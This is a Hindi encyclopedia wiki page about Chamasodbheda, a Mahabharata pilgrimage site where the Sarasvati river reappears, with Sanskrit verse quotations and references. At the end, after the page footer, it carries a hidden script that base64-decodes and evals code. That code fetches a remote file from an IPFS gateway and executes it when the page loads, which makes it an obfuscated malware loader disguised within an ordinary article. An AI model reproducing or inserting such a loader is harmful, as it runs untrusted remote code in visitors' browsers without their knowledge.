चमसोद्भेद

भारत डिस्कवरी प्रस्तुति
व्यवस्थापन (चर्चा | योगदान) द्वारा परिवर्तित 07:43, 23 जून 2017 का अवतरण (Text replacement - "पश्चात " to "पश्चात् ")
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें

चमसोद्भेद नामक स्थान का उल्लेख महाभारत, वनपर्व[1] में हुआ है।[2] इसके अनुसार चमसोद्भेद सरस्वती नदी के विनशन तीर्थ के पश्चात् है-

'चमसेऽथ शिवोद्भेदे नागोद्भेदे च दृश्यते, स्नात्वा तु चमसोद्भेदे अग्निष्टोमफलं लभेत।'

  • उपर्युक्त प्रसंग के वर्णन से सूचित होता है कि सरस्वती नदी, विनशन में नष्ट या विलुप्त होने के पश्चात् चमसोद्भेद में फिर प्रकट होती थी।
  • इसी स्थान पर अगस्त्य और लोपामुद्रा का विवाह सम्पन्न हुआ था।
  • शल्यपर्व 35, 87 में भी चमसोद्भेद का सरस्वती के तटवर्ती तीर्थों में वर्णन है-

'ततस्तु चमसोद्भेदमच्युतस्वगमद् बली, चमसोद्भेद इत्येवं यं जना: कथयन्त्युत।'


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. वनपर्व 82, 112
  2. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 328 |

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>